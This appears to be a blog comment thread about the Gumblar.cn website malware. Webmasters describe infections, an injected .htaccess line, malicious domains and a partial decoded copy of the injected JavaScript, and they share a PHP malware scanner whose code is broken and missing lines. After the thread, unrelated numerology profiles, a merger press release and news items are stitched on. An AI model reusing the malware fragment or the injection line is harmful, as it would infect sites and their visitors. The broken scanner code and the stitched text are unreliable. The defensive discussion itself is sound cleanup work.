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Thanks for your explanation about this, it has already infected 3 of my websites, I use phpfusion cms, 68classifieds and cubecart, I must say they people over at 68classifieds are really spot on with their help, just like your blog here,
I have run a full virus scan and malware scan on my pc but only picked up cookies, I will change my ftp and will post back my results.
Thank you so much for your help with this exploit.
One of our web hosting customers is having a problem with gumblar.cn on several of her websites. She noticed that all of the her websites containing this infection had a web counter, and we both suspect that the counter script was used as a back door to gain access to the other files on the website. She's going to remove the counter scripts and see if these attacks stop.
I confirm Your point 10. – i had this php code injected.
This exploit also creates/edits .httaccess files – sets
"Options -MultiViews
ErrorDocument 404 /158612.php
and (random_number).php contains some strange PHP code.
What suprised me – when i entered site infected by this sh#t Kaspersky didn't noticed ANYTHING.
oh, i forgot to mention something – i suppose that it could also have some connection with CHMODE set to 777…
For security purpose I've changed FTP passwords.
When you inadvertently load an infected page, it redirects you to the gumblar webpage, and it pushes a pdf file to your computer. If you're running an earlier version of Adobe Reader (such as 7 or unpatched 8), it exploits a known Adobe Reader vulnerability, and gets access to your PC. From there, it looks for common ftp clients, (for me this was FileZilla) grabs any stored passwords, and sends them home. While it's there, it seems to disable regedit, cmd, and can disable virus scanners. The passwords that were sent home are then used to infect your websites, and the cycle continues the next time another webmaster browses across your site.
So clean up your own PC as suggested, upgrade Adobe Reader, and hopefully you kept backups of your websites!
Also forgot to mention changing your FTP passwords immediately using a clean machine.
Decrypted, the shellcode above (the script youve provided) says this (runs js eval() command on this):
var a="ScriptEngine",b="Version()+",j="",u=navigator.userAgent;if((u.indexOf("Win")>0)&&(u.indexOf("NT 6″)<0)&&(document.cookie.indexOf("miek=1″)<0)&&(typeof(zrvzts)!=typeof("A"))){zrvzts="A";eval("if(window."+a+")j=j+"+a+"Major"+b+a+"Minor"+b+a+"Build"+b+"j;");document.write("
There is nothing after that. It ends with document.write(". Likely not complete script/possibly where other script takes into effect. It looks like its just taking information about a users computer based on the user agent.
My website was also infected by gumblar.cn
I ran a scan, reformatted my computer, changed passwords, uploaded clean code, uploaded clean database – website was clean for 1 day and then was hacked again.
The second time we were hacked, it was reffering to hotican . cn – a new site, same problem, same people I am sure.
I use godaddy – have met a bunch of other people with the same issue, they were also using godaddy. Does this have any truth?
Godaddy says that the ftp username / password are comprimised – I assume it is possible to get this info from a scripting vulnribility, as no one could have access to this info.
I use godaddy too. Told them about this on May , 7, 8, 9th, May 10, May 11 and May 12. Finally got someone to listen when I told them…..I'm not the only one on godaddy with this issue. My problem started May 6th. I believe the virus started April 22nd. I've sent them screen shots and everything…
i am also using godaddy and i am also getting same problem first of all i got this problem on 25 th april and afatr that i cleaned my site but agai on 15th i got the same eroor again
Hi !
I had the same problem with our Website.
I am almost sure, infection does not happen on the server but on the client which does the upload.
But up to now i do not know which program does insert the scripts.
In our case only HTML files were infected.
But I use some php scripts, but read from a file and allow some input. This code have been entry point for an injection.
Sophos Antivirus knows detects the malicious script as
I found this virus 10 days ago and 4th of my customers got it .
We removed it more than 10 times but the next day amazingly it was on all pages again .
I found the source file .
I each "Images" folder in your site it will copy a php file "image.php" .
Before removing the script from pages , you must rewrite a same file instead of image.php and change the permissions .
Then remove the scripts .
If your site gets the iframe version as fast as you can , you must remove the iframe then replace the image.php .
Because google may consider your site as a harmful site .
Another thing is that , in cms sites i changes the permissions of template folders !!!
We got this malware uploaded via FTP credentials. A PHP page on the same site was infected with a POST-and-eval backdoor, also by bad FTP credentials.
I checked on google – my infected site has some "strange" files since… 1st april!
query google: site:prettyone.pl
it has to be connected with these .httaccess – I hope now site is clean (chmode 755, changed passwords etc.)
Enough files that I have found infected by this. I am unable to find the code you mentioned in my PHP files. But let me tell I use fact no. 10 given in your blog. And I am also able to remove iframe for bigtruckstopseek .cn/ts/in.cgi?banner2. Your blog is very helpful.
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السليم لتفادي هذه المشكله العظيمه . فهي مصابه
اكثر المواقع بها ولانرى اي حل . سوى الحظر من قوقل
وغيره . فما هو الحل ؟
I can confirm it has attacked a 1.3.7 version zencart
This is a bit offtopic, but considering twitter has serious vulnerabilities like this one news.cnet.com/8301-1009_3-10222373-83.html?part=rss
which may be just the tip of the iceberg I find it rather ironical that unmaskparasites should be patronizing twitter ( as it is there are many people are either bored or hating this service, and practically a very small fragment of this site's usres actually use it )
For example, will unmaskparasites ask us to visit gumblar.cn to get udates of unmaskparasites. NO ! Then why twitter?
Let us get rid of this brand slavery too.
I think a brilliant site this can stand on its won.
I am unable to remove following script which appended after the body tag. I remove it but it got added when I refresh page to check :(
And if I see file, this code is not presented. Seems added on runtime. Please suggest solution for it.
Edit by Denis: I've removed your site from your signature since it's still infected
Posting here a PHP script that scans all files from your site looking for the exploit signatures. Usefull to see the files affected. Some false positive results may be returned for "(function(){" string search.
Place file on site root folder. And use $excludes_array to exclude false positive files.
$dirs_array = array();
if ($handle = opendir($dir)) {
echo "Open dir: " . $dir . "";
echo "Files:";
// this is the correct way to loop over the directory.
while (false !== ($file = readdir($handle))) {
if ($file != '.' && $file != '..') {
$path = $dir . $file;
if (is_file($path)) {
// skip large files
if (filesize($path) > 1000000) {
// exlude fieles
if (in_array($path, $exclude_files)) {
// get content
$file_handle = fopen($path, "r");
$contents = ";
while (!feof($file_handle)) {
$contents = fgets($file_handle);
// loop for search string
$found = false;
foreach ($search as $search_string) {
if (stristr($contents, $search_string)) {
$found = true;
if ($found == true) {
echo '' . $path . ' … ';
echo '[FOUND ' . $search_string . ']';
echo "";
break; // break while
} else {
//echo '[CLEAN]';
} elseif (is_dir($path)) {
$dirs_array[] = $path;
foreach ($dirs_array as $dir) {
scan_files($dir . '/');
$start_dir = $_SERVER['DOCUMENT_ROOT'] . '/';
echo 'Starting from: ' . $start_dir . ";
Missing file header
$dirs_array = array();
$exclude_files = array(
$_SERVER['DOCUMENT_ROOT'] . '/' . file_checker.php',
function scan_files($dir) {
global $exclude_files;
// malware strings to search
$search = array(
'.cn/', 'gumblar', 'eval(unescape', 'eval(base64_decode', 'eval(decode', 'eval(base', 'base64_decode', '(function(){', 'eval(String.fromCharCode',
'neglite.com', 'niklejo.net', 'internetcountercheck.com',);
$dirs_array = array();
One other thing that I don't see here is that the script adds image.php scripts to many of your image directories. It appears to target specifically directories called "images," at least on my server. I'm guessing it probably searches for "image" as well.
Also, it seems to target .php or .inc with the strings "database," "settings," or "config" in them.
This has been particularly annoying to clean out and it's been hitting my server the last week or so.
My server has Drupal and Phplist installed, along with some other scripts I wrote, and most of them were infected, so I'm beginning to wonder if this isn't a bug with php itself and not necessarily a specific application.
Also, just to be safe, make sure you're not deleting legitimate image.php files from your server since some scripts occasionally use them.
I've found the easiest way to find what was infected was to log into a shell and run find. I noticed that the modified times of the files all fall reasonably close to each other, so you can run something like this:
find . -mmin -60 > virus.log
which will tell you what has changed in the last 60 minutes in all your directories.
Having said that, I still haven't been able to identify where the culprit is coming from, even looking at my access logs.
This is how i`m removing at the moment
Removing Gumblar.cn
If you have a backup of your website upload over the old website, if not login with Dreamweaver etc and find and remove following,
• Any image folder containing image.php remove, only image folders nothing else
• Download(get) entire site and first do a search on entire site for unescape this malicious code is normally placed in the beginning of php and end of javascript pages, remove all instances
• Search again for iFrame src and any weird links remove, be careful just to remove the iframe links
• Download and install malware malbytes from here http://www.malwarebytes.org , update the software and run in safemode (press f8 on startup) and remove all malware
• Downloand and run avast or avg and execute a full virus scan and remove any viruses from you computer
• Update Adobe acrobat reader to version 9.1 download and install here http://get.adobe.com/uk/reader/ , malicious code has been know to use old versions of adobe
• Next login to your hosting account and change ftp password for your website, use symbols if possible
• Change ftp password in Dreamweaver etc
• Download Google Chrome to test your site, if it still has Gumblar.cn the browser will tell you. Get it here http://www.google.com/chrome
Always keep your computer updated with malware and antivirus software, use zonealarm as a firewall and only use one computer to ftp.
I found my server infected with the same malware,
i found all default.html , index.html /htm
and index.php , db.php and similar php , like includefiles.php infected with the same.
removed everything manually.
I am non-techie but I believe I got hit. I noticed this morning that the browsers (Google/Mozilla and Explorer) on my Home PC were extremely slow to endless when moving from one page to another. I shut down my PC several times, until suddenly I noticed a "waiting for gumblar.cn" appearing in the left bottom. I was suspicious, Googled it and found your blog.
I remember that this morning an Adobe upgrade popped up (I forget which) so I clicked it. Then it prompted me to also download free Norton spyware, which I declined because I ahve the Norton suite installed. I am thinking now that the Adobe download could have been the fake that got gumblar.cn onto my PC. Any suggestions on how to remove it? Shall I delete all Adobe versions on my PC? Since I am non-techie, shall I call a techie to come to my house?
Hi, I got this problem on some of my websites. The whole thing, even the iFrames. I was able to remove all of the bad code except the
"(function(jil){var xR5p='%';ev…"
script on two of my sites. Both sites are WordPress 2.7.1
I can't find the file or files where this code was inserted. I replaced every file with a clean backup but it's still there. Any help would be appreciated.
I was able to clean a myBB installation, by uploading a clean backup. With WP, this is not working.
I removed Adobe Reader, changed FTP-Passwords,
ran severeal anti-virus tools. Hope my system is clean now.
It seems to me that we're dealing with a group of exploits wich all behave a little bit different on each webserver. (i.e. three WP installs, one able to clean, the other two: WTF?!)
first, my vbulletin was "hacked" with this… than it was also on my joomla core and I had to edit all files^^ very time wasting work…
here is my script which i changed a little:
i works perfectly:
$exclude_files = array(
$_SERVER['DOCUMENT_ROOT'] . '/' . file_checker.php',
function scan_files($dir) {
global $exclude_files;
// malware strings to search
$search = array(
$dirs_array = array();
if ($handle = opendir($dir)) {
echo "Open dir: " . $dir . "";
echo "Files:";
echo "";
// this is the correct way to loop over the directory.
while (false !== ($file = readdir($handle))) {
if ($file != '.' && $file != '..') {
$path = $dir . $file;
if (is_file($path)) {
// skip large files
if (filesize($path) > 1000000) {
// exlude fieles
if (in_array($path, $exclude_files)) {
// get content
$file_handle = fopen($path, 'r');
$contents = ";
while (!feof($file_handle))
$contents = fgets($file_handle);
// loop for search string
$found = false;
foreach ($search as $search_string) {
if (stristr($contents, $search_string)) {
$found = true;
if ($found == true) {
echo '' . $path . ' … ';
echo '[FOUND ' . $search_string . ']';
echo "";
else {
//echo '[CLEAN]';
} elseif (is_dir($path)) {
$dirs_array[] = $path;
foreach ($dirs_array as $dir) {
scan_files($dir . '/');
$start_dir = $_SERVER['DOCUMENT_ROOT'] . '/';
echo 'Starting from: ' . $start_dir . ";
Mike I put your code to php file and put it to my web's root on sever.
And when i open it in my browser I got error:
Parse error: syntax error, unexpected T_FUNCTION, expecting ')' in /var/www/…../file_checker2.php on line 21
or I do smth. wrong?
Thank U!
Edit by Denis: I removed your site from your signature since it still contains malicious iframes.
We had this problem on our of our sites. Don't know where it came from. Avast! instantly recognized it. ZoneAlarm doesn't see it.
To fix it, I deleted the swobject.js file which seemed to be where it was coming from. We also had to delete malicious code from index.php and an html header file. It seems to be okay right now. I will update. I have also changed ftp password. It's also fixed a weird error I was getting in cpanel. Unsure if it's related.
Thanks for the help!
ALL .htm and .html pages on my server have been affected. I haven't checked an script or php files yet :-\
Will have to manually edit 100+ files :-(
On clicking the RSS link besides the star icon at the top of this page, AVG stops and sets a red alert – please see the picture –
I'm a web host. Two of our customers have been hit by this so far. The gumblar code is propagated by infected websites. It will embed itself on your computer, search for usernames/passwords, and send them to the gumblar.cn site. They use this information to place the javascript code into all of the html files on your website. I verified this by purposely infecting a PC with bad credentials stored in Filezilla, then watching the login failures as they attempted to use them. The infected PC constantly attempts to connect to gumblar.cn – you can verify this with netstat from the command line.
In my testing Avaya and Chrome both detect the gumblar code in html files – AVG and Kaspersky have not (as of now). I fixed the infected system with the ComboFix program that is used on the Tech Guy forum.
Fixing the html files on a website is a tiresome manual process which could be automated pretty easily with a little bit of work.
The keys to preventing re-infection are to get the thing off your local PC, to get the javascript out of the html files on your site, and to rename images/images.php to something else and replace it with another images.php with such permissions that it can't be modified or overwritten.
"you can verify this with netstat from the command line."
How? I sit possible to detail the exact steps please?
Assuming Windows:
Type cmd and press Enter
In the command box type netstat and press enter
How did you infect a pc and how can I tell if a pc has actually been infected without checking netstat? I have the problem with only one of my clients so I guess it is not my pc that has been infected.
My website has also been infected with the same virus. I followed the instructions to clean up 100+ files last night. When I checked my website using Unmask Parasites, it says that my website is clean. The detailed report is linked to:
When I use Google Chrome to open my webpage, I still get the warning message. When I open my webpage and view the sourcecode, the code still shows the infected script.
I checked the server site and all of the files which I cleaned up did not come back with any infected script.
This situation sounds similar to Tahir's but I still can't solve this problem.
Can anyone help me with this problem?
got hit with this one myself on a clients machine… – gotta clear the tmp stored versions of the index, home, main, …etc. in the CNF or CTF (something like that) folder on server side, thats where the cached versions are located that the browsers pull … or so i think anyways, good luck staying our of gumblars path – hes a son of a gun
[…] Kristi wrote a guest blog post at TechJaws about the attack last weekend on her well known Kikolani Blog on the Art of Blogging by the PHP Script Injection Exploit in WordPress 2.7.1. Kristi explains how she restored her blog and dealt with the issue. The UnMask Parasites blog provides additional details on what is known about this particular malware which has been dubbed the Gumblar .cn Exploit. […]
We have had this virus now for 1 month. We believe it came through one of our wordpress sites. They saw that we stored all of our passwords and logins on dreamweaver for our 50+ sites.
All sites are infected with this virus, we remove daily. Google bans these sites and you lose traffic and ultimately business.
WE have to pay a full time web developer to keep looking for them and remove them manually every day.
WE are almost ready to move all sites to a new dedicated server.
SOlutions I have heard.
Change FTP. We have done
Format computer . We have done.
Remove all viruses. We have done.
Backup site to 1 month before virus was infected. we have done.
Nothing left to do. This is killing us.
Have you had a look in the images directory? If there is a file there called image.php, rename it to bak.image.php. Create a new, empty image.php file and change its permissions so that it can not be edited.
Did you change your passwords after restoring your site to the old backup? If this code is being uploaded to your site via FTP (which seems to be the case most often), then they clearly have your password. Change your passwords immediately, only use SFTP to connect to your sites and ensure all computers that access your sites (including your web developers!) are free of the virus and using SFTP. If your computer, or your web developers computer still has the virus, your site will continue to be exploited.
My websites were infected by this virus (mainly static html).
at the begining i tried to replace all files from the backup on my computer but each time after doing it (and changing the passowrd) the site were infected again.
i tried again this time using the following steps:
1) i clean my computer using malwarebytes (it found 93 treats).
2) i clean my computer with norton anti virus
3)i deleted the server definition for each domain, and set them up as new.
4)i moved the files from my computer (they were not infected) and change files premitions to 755.
5)i change the admin and FTP passowrd
6) uninstall adobe reader and filezilla from my computer
the site stayed clean for as long i didn't upload any files to the server.
yesterday i uploaded new files to the server and before doing it i run the malwarebytes and the anti virus again/
malwarebytes found the same new treats again (how did its enter my computer again?
i remove the treats and upload the files
the next day 2 of my websites were infected once again.
the good news were that only 2 website were infected (i have anoter 5 on the same server)
so i tought maby i forgot to change file permition in those domains.
but the point i don't understand is how this virus still have accesse to my server files
after i clean my computer and set up a brand new updated norton internt security?
what sould i do?
Just to check with you guys; only files get infected right? They don't mess with databases?
A joomla! site got hit last weekend and we are looking at restore possibilities…
Reading other people's comments, I was able to figure out how I got infected and what happened:
* About 2 days ago, I indeed got the above mentioned PDF warnings when visiting one or more sites (sadly enough I do not remember which ones).
* After that (with what I now know), I noticed my FTP application, CuteFTP, wasn't able to connect to any FTP server. I received this error: Can't read from control socket. Socket error = #10054, which led me to the GlobalScape knowledge base and to a Windows registry key that should be deleted: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\aux (or aux2).
That allowed me to use CuteFTP again. But in the meanwhile I had already used Windows Explorer to update a file on a server through FTP.
* That very one site I changed, got infected with the above mentioned results.
So I assume the trojan blocks FTP trafic for some (all?) FTP applications and only lets those pass of which it can fetch credentials?
A malware scanner indeed also pointed that Windows Updates were disabled. I assume the trojan is also responsible for this.
A colleague alerted me of the infected site because his virus scanner Sophos detected it. Mine, AVG, did not. Google on the other hand indeed also marked the site infected (I noticed in Chrome).
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Got hit with this one today and I decoded the script that is inserted into all the web pages.
It looks like it is reporting the version of the scripting engine running on your machine to gumblar.cn/rss and doing who knows what with it. It also looks like it is set to run on Windows versions lower than NT 6(Vista) and not run on sites that set a cookie named "miek=1″
Here's what I got when I decoded the script.
var a="ScriptEngine",b="Version()+",j="",u=navigator.userAgent;
if((u.indexOf("Win")>0)&&(u.indexOf("NT 6″)<0)&&(document.cookie.indexOf("miek=1″)");
The script didn't paste correctly, so you should probably delete it from my post. I can take a screen shot and send it to you if you like.
This malware problem has been a paid in my neck, but I think I finaly have it under control.
Here is the code I used to search my web server for infected files. Very useful, especially if you have a lot of files. Customize the $exclude_files array and the $search array depending on your needs.
1000000) {
// exlude fieles
if (in_array($path, $exclude_files)) {
// get content
$file_handle = fopen($path, "r");
$contents = ";
while (!feof($file_handle)) {
$contents = fgets($file_handle);
// loop for search string
$found = false;
foreach ($search as $search_string) {
if (stristr($contents, $search_string)) {
$found = true;
if ($found == true) {
echo " . $path . ' … ';
echo '[FOUND ' . $search_string . ']';
echo "";
break; // break while
} else {
//echo '[CLEAN]';
} elseif (is_dir($path)) {
$dirs_array[] = $path;
foreach ($dirs_array as $dir) {
scan_files($dir . '/');
$start_dir = $_SERVER['DOCUMENT_ROOT'] . '/';
echo 'Starting from: ' . $start_dir . ";
The post above cropped the top part of the code for some reason. Add this part to the beginning.
1000000) {
hey please post your script again – and this time with no errors – thank you
We also got stung with this virus on three wordpress based websites.
Infected computer appears to be clean now and all FTP details have been changed.
I would however love to stop saving passwords in dreamweaver, but that pesky little "save" box has a tendcy of ticking itself. Anyone have any ideas on how to remove this function?
I'm a newbie..could you pls explain how I customize the $exclude_files array and the $search array??
Aparently Adobe has released a security update for Reader yesterday. More information and download links can be found here:
I have no idea if this fixed the exploit however…
I had it on a site with no php.
One of my clients is also infected – so far, you guys have been tremendously helpful. Unfortunately, I'm seeing a rather disturbing problem that no one else has described yet.
Most of our pages include a PHP header and footer which, among other things, define the block and open the tag for each page. All of the pages that include this header are infected. OK, go to that include file and remove it, right?
The Javascript is NOWHERE TO BE FOUND in that include file! If I do a view source on a page that includes it, I ee the JavaScript wedged in between the closing tag and the opening tag. If I look in the exact same location in the include file, that code is nowhere to be found, even if I do a text search on it.
Just to be sure I wasn't insane, I added an HTML comment in the include file just above where the JS seems to be inserted. Sure enough, the comment AND the JS showed up when I hit view source.
What concerns me is that this makes it sound like a PHP output buffer is inserting this code. Or, perhaps, some other filter between the PHP engine and the HTTP server. Anyone else seeing stuff like this? Any idea how to get rid of it?
Rob Z.
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Even my ecommerce site got infected with it.
here is the code: hope its safe to post malicious code in the comment.
Edit by Denis: I removed the code because it was the same as in fact #10 of this blog post.
About 9 months ago, a developer site had a plea from someone over a similar type of code injection. Up on disection I could see that the code was similar to the method illustrated but importantly its main purpose was to inject in to the clients browser the information to fetch data from a number of servers.
So I then put my machine in the firing line by calling the payload URL and go the resulting more complex sctipt that was a malware.
This current attack method being uses is currently in the press is nothing more than scaremongering, the issue of this attack is in "WEAK" upload pages that do not discriminate against injection and methods of injection.
In the first instance, people who maintain websites or use 3rd party scripts should check for input cleaning processes to stop these attacks on the server that then allow the botscript to then nest on that server.
Server Farms can do more to protect their clients and the visitors to an infected site by looking for URL requests coming from their servers and those sites that are making a large number of resource requests that never did before can be targeted and shut down.
This is something that server farms do not do, they are more concerned with the dollars rolling in rather than the clients that they have and the visitors. It makes more sense to preserve bandwidth for the other clients than let a malware run on their servers.
Once a malware is running on the server, it will attack or infect if possible the machine that is requesting resources. Then the virus can spread more easily.
While the media are reporting this as a "JavaScript" attack, it is important to note that javascript has no access to the endusers system other than to "Redirect" or possibly request a resource as in a CSS script or an image or an image via a PHP script that then compromises the users system with a more complex program.
What to do?
Firewall, yes, a software firewall, this should run on your computer and you should NEVER just rely on a hardware firewall or the properties of a NAT / Router to perform your defences. They may be good or offer some protection but they are not fool proof. An open port is a port open in both directions.
Unless you have invested in a real rock solid professional system, your best off backing you your router with a software firewall on your computer, plenty of free firewalls on offer. No excuses.
Anti-virus software. This is another important tool that is often overlooked. Grt one, theirs plenty of free AV tools like firewalls too.
Anti-spyware tools, these are a-plenty but bewarned, many are spyware themselves. So do yourself a favor and only download and use well known tools like SpywareBlaster or AdAware or Spybot Search & Destroy for example.
If you do suffer an attack or problems then DON'T JUST SIT ON YOUR ASS…. PULL THE MODEM PLUG. Stop your machine from spreading the risk.
When in doubt, run a Linux distro.
Finally, I have said this for years, all internet users should undergo a test, like a driving test to illustrate that they have an understanding of the internet, risks, how a computer works, how to spot unusual activity on the computer and why connections and computers seem slower as well as how to deal with viruses and other malwares. Maybe then, and only then will idiots stop helping hackers and crackers break in to and destroy or steal from systems.


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We can observe certain contradictory characteristics as a result of a few opposing influences. The 1 and the 8 both play a part in making Maëlig the strong and independent individual that he is. Authoritarian, active and resourceful; he is extremely focused on concrete and pragmatic reality, his first concern being his precious ego and his material well-being... Then there is the 9 which opens doors to compassion, altruism and a love of humanity - indeed it allows the profound expression of an unconditional love for all that is, which means that Maëlig is also a sensitive, emotional soul and an idealist at heart. Capable of great devotion, generosity and sacrifice, he aspires to join groups or associations with similar goals and convictions. But let´s be clear, Maëlig never truly loses his grip on reality, indeed he makes a special effort to keep his feet firmly planted on terra firma, and if it comes to the crunch he will look after his own interests before worrying about anybody else. Furthermore, given his strong individuality, even when he takes part in group or communal activities he tends to remain on the side-lines. He is respectful, honest and rather often quite strict although tolerance isn´t one of his best qualities, so he could seem quite intimidating. Endowed with courage, energy and a strong will, he is inclined to think that anything he can do, others can too... which is why he perceives so many of those around him as being lazy. He is ambitious even as a child. He isn´t really cut out for subordinate roles and seeks to surpass himself, either for his own satisfaction or for the recognition it brings. He is nonetheless quite shy, for which he often compensates with a cocky attitude and a swagger. He loathes injustice and flattery (in spite of being proud and conceited) and tends to be quite touchy. All the same, he is a very responsible young man who can be completely trusted.
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Somewhat status-conscious and sensitive to external symbols of wealth, he isn´t indifferent to the material realm and is prepared to make a lot of effort in order to succeed. An extremely generous soul, he also enjoys making other people happy. When it comes to love, he is loyal, frank, sincere and faithful; and he expects the same consideration in return. If you disappoint him he won´t find it easy to forgive you, and it is likely to be even harder for him to forget. He may be bossy, abrupt and even a little coarse, but he is actually much more sensitive and affectionate than he lets on. Ladies, if you scratch the surface a little and take the time to get to know this man, you won´t be disappointed.
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What does he do?
Rather individualistic, he could be tempted by one of the liberal professions. Nevertheless, his sense of solidarity leads him to administrative positions where he is capable of occupying a management role, the profitable side of the profession being equally appealing. Thus we can note the following occupations: those involving the exercise of power (police, army or justice...), related to finance, management, mathematics, physics or industry...; in connection with travel (transport and tourism) and foreign countries, education and medicine.
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A $28.8 million compound near the Sunset Strip and a sprawling Long Island estate are two of this week's Private Properties. Lauren Schuker Blum joins the News Hub with a look.
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Special Committee of CNH Global Agrees to CNH Global Merger with Fiat Industrial
26 Nov, 2012, 08:15 GMT
NEW YORK, Nov. 26, 2012 /PRNewswire/ -- The Special Committee (the "Special Committee") of the Board of Directors of CNH Global N.V. (NYSE: CNH) ("CNH") today announced that it has recommended the merger agreement entered into today between CNH and Fiat Industrial S.p.A. ("FI"). The terms of the transaction (the "Transaction") are as follows:
- FI and CNH will merge into a newly-formed company organized in the Netherlands ("NewCo").
- CNH shareholders will receive 3.828 NewCo shares for each CNH share and FI shareholders will receive one NewCo share for each FI share.
- CNH shareholders will also receive a special cash dividend of $10 per CNH share to be paid to CNH shareholders prior to December 31, 2012, to the extent possible, and in any event prior to the closing of the merger; the special cash dividend to be received by FI on its 88% of the CNH shares will be deferred and paid only in the event that the merger agreement is terminated.
- NewCo would adopt a loyalty voting structure. Under the loyalty voting structure, shareholders that participate in the shareholders' meeting of FI and CNH to consider the Transaction and continue to hold their shares until closing, regardless of how they vote, could elect to have the shares they receive be entitled to two votes per share until those shares are transferred. After the closing, shareholders with single-vote shares of NewCo would be entitled to "earn" a double vote by holding the shares for at least three years.
- The shares of NewCo will be listed on the NYSE at closing with a listing on Borsa Italiana promptly following closing.
The Special Committee gave careful consideration to the enhanced offer submitted by FI on November 19, 2012, and determined that the terms are fair and in the best interest of CNH and its stakeholders. Based upon FI's closing stock price on November 23, 2012, the total consideration represents a premium of more than 23% over FI's initial proposal of 3.828 NewCo shares for each CNH share.
Resulting in the formation of one of the largest capital goods companies in the world, the combination will have a number of industrial and operational benefits for CNH and its stakeholders. These include the ability to more effectively utilize the financial services and treasury operations of the broader group and achieve greater scale in emerging markets as well as guaranteeing access to a stable supply of engine know-how and industrial capabilities. In addition, the combination is anticipated to enhance the appeal of the broader group in the capital markets and to result in greater clarity and liquidity for investors.
The Transaction is expected to be completed in the second quarter of 2013, subject to customary regulatory approvals and limited closing conditions.
The Special Committee consists of independent and unconflicted directors, Thomas J. Colligan, Edward A. Hiler, Rolf M. Jeker, Kenneth Lipper and Jacques Theurillat. The Special Committee has engaged Cravath, Swaine & Moore LLP, De Brauw Blackstone Westbroek N.V. and Bonelli Erede Pappalardo, as its legal advisors, and J.P. Morgan and Lazard, as its financial advisors, to assist it in its work.
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This communication contains forward-looking statements relating to CNH and the proposed business combination with FI. All statements included in this communication concerning activities, events or developments that we expect, believe or anticipate will or may occur in the future are forward-looking statements. Forward-looking statements are based on current expectations and projections about future events and involve known and unknown risks, uncertainties and other factors, including, but not limited to, the following: uncertainties as to whether the proposed business combination will be consummated, uncertainties as to the timing of the proposed business combination, uncertainties as to how many of CNH's shareholders will participate in the proposed business combination, the risk that the announcement of the proposed business combination may make it more difficult for CNH to establish or maintain relationships with its employees, suppliers and other business partners, the risk that CNH's business will be adversely impacted during the pendency of the proposed business combination; the risk that the operations of CNH and FI will not be integrated successfully, the risk that the expected cost savings and other synergies from the proposed business combination may not be fully realized, realized at all or take longer to realize than anticipated, and other economic, business and competitive factors affecting the businesses of CNH generally, including those set forth in its annual report on Form 20-F for the year ended December 31, 2011 filed by CNH with the SEC on February 29, 2012. These forward-looking statements speak only as of the date of this communication and we undertake no obligation to update or revise any forward-looking statement, whether as a result of new information, future events and developments or otherwise, except as required by law.
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A heartbroken family was pleading for the public's help on Tuesday after a teenage girl died trying to stop a man who stole her iPhone, police said.
Ruby Rubio, 15, was walking with her 7-year-old sister on West Warner Avenue in Santa Ana on July 3 when she was confronted by a man, according to the Santa Ana Police Department.
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Rubio had just gotten the iPhone one week earlier and promised her mother she would take care of it.
Rubio chased after the robber and jumped onto the car as it began to drive away, but she fell off and was critically hurt, police said.
"As they drove off, they swerved, she was hanging on to the trunk," Santa Ana Police Cpl. Anthony Bertagna said. "She fell off, struck her head and that's how this started."
The car drove away, and Rubio died at the hospital two days later.
Her family spent those two days hoping she would pull through.
"She would open her eyes and look at me for 5 seconds," said Rubio's mother, Marisol Hernandez.
Rubio's friends said she always had a smile on her face and was always happy.
"They have no heart," friend Maria Saucedo said. "That was dumb, what they did to her."
The iPhone was found near the scene, appearing to have been tossed out of the car, police said.
Police have yet to find the robber (sketch pictured). He is described as a Hispanic man in his late 20s to early 30s, about 5 feet 10 inches tall wearing a black baseball hat, white tank top and light colored jeans.
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Nov. 7 -- THURSDAY, Nov. 6 (HealthDay News) -- For children and teens who suffer violence at the hands of peers, immediate one-on-one mentoring on how to safely avoid conflict and diffuse threats reduces their risk of becoming victims again, a new study says.
The study included 10- to 15-year-olds treated for assault injuries -- including gunshot, knife and fist-fight wounds -- at emergency rooms at Johns Hopkins Children's Center in Baltimore and Children's National Medical Center in Washington, D.C., between 2001 and 2004.
Half of the 113 victims were treated and then referred by an ER doctor for at least six sessions of one-on-one counseling and three parent-home visits. The other half of the victims were referred to community resources and received two follow-up phone calls.
The counseling sessions included advice on how to identify and avoid triggers of anger, and role playing about conflict resolution and getting out of dangerous situations in appropriate ways.
The participants who received personalized counseling and formed a mentoring relationship with their counselors reported 25 percent fewer fights and 42 percent fewer fight injuries six months later, compared to those who received referrals only, the researchers said.
In addition, participants who received mentoring reported less aggression and fewer misdemeanors and were more likely to "think about the consequences," take steps to avoid fighting, and "take a time out" when faced with a conflict.
The findings, published in the November issue of the journal Pediatrics, suggest that the emergency room is a critical point for initiating this type of intervention, which gives at-risk children and teens behavioral options that can prevent violence, the researchers said.
"There can be a cycle of violence fueled by fear and retaliatory feelings," study lead investigator Dr. Tina Cheng, head of general pediatrics and adolescent medicine at Hopkins Children's, said in a Hopkins news release. "When we see youth with assault injuries in the ER, we have a golden window of opportunity to step in and interrupt this cycle, and our findings suggest that pairing teens with mentors who teach them problem-solving skills can help decrease the risk of future violence," she added.
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This is a woman for whom the word enigmatic was invented! She could appear to be very charming, however in reality she is quite reserved, distant even. Nonetheless, Hilda is undeniably enormously seductive. Refined and elegant, she appreciates quality and has expensive taste, which will almost certainly be reflected in her choice of clothes. Where her romantic life is concerned she can be highly selective, and would prefer to hang around for Mr Right than waste time with Mr Not Perfect. Because she doesn´t cope very well with change, Hilda tends to be nervous, can be prone to anxiety and doubt, and is susceptible to worrying about all sorts of things that may or may not happen complicating her life rather unnecessarily. An Intellectual, more introverted than not, Hilda may feel the need to isolate herself every now and then to recharge her batteries. She is extremely sensitive although she tries to suppress this quality which she perceives as a sign of weakness, and can seem much more aloof and unfriendly than she really is. She can lack spontaneity and is not particularly demonstrative, but although she may have difficulty with self-expression, on the other hand she is a very attentive listener: she possesses a sharp, analytic and critical mind. She has a great sense of humour, but because she can be so touchy she can´t always take everything that she dishes out! She is sceptical, careful and wary, and sarcasm can be a shield. However, it is possible that one day, with her karmic number 7, she could develop a passion for the strange and mysterious and decide to explore the spiritual side of life. As a child, Hilda can be quite solitary, timid and unassuming, as well as secretive. Highly perceptive and intuitive, it didn´t take her long to work out that life is no fairy tale . As a result of this heightened sensitivity she needs harmony to prevail in the family home, and will suddenly disappear if there is a disagreement or raised voices. She is just as allergic to injustice, which makes her absolutely furious. Her adolescence will probably be spent daydreaming and her inner world is full of secrets that she will never tell. She would benefit from developing a hobby that she can be passionate about.
